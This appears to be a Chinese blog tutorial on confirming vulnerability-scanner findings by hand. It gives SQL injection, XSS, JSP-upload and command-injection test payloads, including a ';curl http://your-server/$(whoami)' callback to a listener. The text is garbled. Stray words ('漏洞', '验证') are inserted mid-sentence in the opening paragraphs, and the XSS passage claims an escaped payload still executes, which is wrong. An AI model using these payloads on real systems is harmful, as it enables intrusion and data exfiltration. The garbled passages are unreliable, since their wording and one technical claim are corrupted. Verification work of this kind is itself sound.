Kail的漏洞漏扫报告里躺着一堆“疑似漏洞”，直接交差不现实。验证真正费时间的漏洞不是扫，是验证验证。扫出来一百条，漏洞可能九十条是验证误报，剩下十条里还有五条根本利用不了。漏洞验证这一步省不掉。验证

我习惯先看HTTP响应头。漏洞比如扫出来一个“X-Frame-Options header missing”，验证这算漏洞吗？漏洞算，但得看页面是验证不是真的能被嵌入。拿个简单的漏洞HTML文件，里面写个iframe指向目标URL，验证本地打开。漏洞如果页面正常显示，那确实有问题。如果浏览器直接白屏或者报拒绝连接，说明有其他机制在拦，漏扫的这条就可以降级处理。

SQL注入的验证更典型。漏扫工具报了个注入点，参数是id=1。别急着上sqlmap，先手工测。把id=1改成id=1'，看返回内容有没有变化。页面报数据库错误，那基本稳了。如果只是返回空或者跟原来一样，可能是布尔盲注，也可能是误报。再试id=1 and 1=1和id=1 and 1=2，对比两次响应的长度和内容。长度差超过一定阈值，比如几十个字节，那大概率存在注入。这时候再让sqlmap跑，省时间也省流量。

XSS验证有个坑。漏扫说参数q存在反射型XSS，payload是<script>alert(1)</script>。你直接浏览器访问，弹窗了，但别高兴太早。看响应里的payload是不是被转义了。如果返回的是<script>，浏览器照样弹窗，因为HTML实体解码后还是脚本。但这种情况在某些上下文里不算漏洞，比如在<textarea>标签内。得看输出位置。用浏览器开发者工具看DOM，payload是作为文本节点还是作为元素属性。文本节点不执行，属性里如果没引号包裹才执行。漏扫经常把文本节点里的payload也标成XSS，实际利用不了。

文件上传漏洞的验证更直接。漏扫报了个上传点，说可以传jsp。别真传jsp，传个.txt改名为.jsp，内容写个简单的<% out.println("test"); %>。上传后看返回路径，直接访问。如果返回500或者404，说明服务器不解析。如果返回“test”，那才是真漏洞。很多时候漏扫只检测了Content-Type，你改成image/jpeg就能绕过，但服务器端还有白名单，实际传不上去。

命令注入的验证要小心。漏扫报了个ping参数存在注入，payload是;id。你直接发请求，看响应里有没有uid=。有，那就是真的。没有，可能是时间盲注。用;sleep 5，看响应时间。如果超过5秒，说明命令执行了，只是没回显。这时候可以尝试;curl http://your-server/$(whoami)，在自己服务器上开个nc监听，看有没有请求进来。有，就确认了。

验证完记得记录。别只写“存在SQL注入”，要写清楚参数、payload、请求包、响应差异。比如“参数id，payload 1' and 1=1-- 返回200，长度4523；payload 1' and 1=2-- 返回200，长度1201。差异3322字节，确认布尔盲注。”这样开发拿到报告能直接复现，不用再来问你。

漏扫工具是辅助，不是结论。它说有问题，你得自己动手试。试不出来，就标误报。试出来了，把过程写清楚。别偷懒。